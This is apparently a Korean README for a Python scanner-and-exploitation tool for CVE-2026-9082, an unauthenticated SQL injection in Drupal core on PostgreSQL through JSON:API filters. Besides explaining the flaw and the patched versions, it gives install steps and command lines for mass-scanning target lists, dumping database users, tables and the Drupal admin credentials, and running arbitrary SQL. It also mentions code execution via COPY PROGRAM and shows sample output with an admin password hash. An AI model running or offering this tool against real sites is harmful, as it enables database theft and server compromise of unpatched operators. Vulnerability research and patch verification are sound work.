
스캐너: CVE-2026-9082 Drupal PostgreSQL JSON:API를 통한 SQLi — 인증되지 않은 SQLi로 RCE를 초래하는 Python 스캐너 (CISA KEV)
Drupal 코어(PostgreSQL)의 인증이 필요 없는 SQL 인젝션
PDO 플레이스홀더 이름 악용을 통한 JSON:API 필터 배열 키 주입
CVE-2026-9082는 Drupal 코어에서 Drupal 8.0~11.3.9을 실행하는 모든 PostgreSQL 기반 사이트에 영향을 미치는 매우 치명적인(Highly Critical) SQL 인젝션 취약점입니다. 2026-05-22에 CISA 알려진 악용 취약점(KEV) 카탈로그에 추가되었으며 — 실제 환경에서 활발히 악용되고 있습니다.
| 심각도 | CVSS | 인증 필요 | 공격 경로 |
|---|---|---|---|
| Critical | 9.8+ | 없음 | HTTP (JSON:API) |
pg_exec() 또는 COPY ... PROGRAM을 통해| 상태 | 버전 |
|---|---|
| ❌ 취약 | Drupal 8.0.0 → 11.3.9 (PostgreSQL 백엔드) |
| ✅ 패치됨 | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
이 결함은 core/modules/pgsql/src/EntityQuery/Condition.php에 존재합니다. translateCondition() 메서드는 JSON:API 필터 매개변수의 사용자 제어 배열 키를 사용하여 PDO 플레이스홀더 이름을 구성합니다. PDO는 [a-zA-Z0-9_]만 플레이스홀더 이름으로 파싱하므로, ) 뒤의 모든 접미사는 쿼리에 주입되는 리터럴 SQL이 됩니다.
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep() 블라인드 SQLi 확인pip (Python 패키지 관리자)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
이것으로 끝입니다! 의존성은 단 하나 — requests입니다.
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
targets.txt 형식:
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
이 도구는 승인된 보안 테스트, 교육 목적 및 윤리적 연구에만 사용해야 합니다.
컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 프로그램으로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.
Ridhin V A (@ridhinva) — 버그 바운티 헌터 & 보안 연구원
CISA KEV가 실제 환경에서 악용되고 있다고 발표했기 때문에 제작되었습니다. Drupal 사이트를 패치하세요.
| 플래그 | 설명 |
|---|
-u, --url | 단일 대상 URL |
-f, --file | 대상 목록 파일 (줄당 하나) |
-o, --output | 스캔 결과를 파일로 저장 |
--check | 대상이 취약한지 확인 |
--version | PostgreSQL 버전 추출 |
--dbinfo | DB 사용자 및 데이터베이스 이름 추출 |
--admin | Drupal 관리자 자격 증명 추출 (uid=1) |
--tables | 모든 데이터베이스 테이블 나열 |
--query | 사용자 정의 SQL 추출 쿼리 |
--threads | 대량 스캔 스레드 수 (기본값: 20) |
--timeout | HTTP 요청 시간 초과 (기본값: 30초) |
--delay | 탐지용 pg_sleep 지연 (기본값: 5초) |
--no-ssl-verify | TLS 인증서 검증 건너뛰기 |
--proxy | HTTP 프록시 (예: http://127.0.0.1:8080) |
| 출처 | 링크 |
|---|
| Drupal 보안 공지 | SA-CORE-2026-004 |
| CISA KEV | CVE-2026-9082 |
| 패치 커밋 | ea9524d9 |
| NVD 항목 | CVE-2026-9082 |
| 발견자 | Michael Maturi |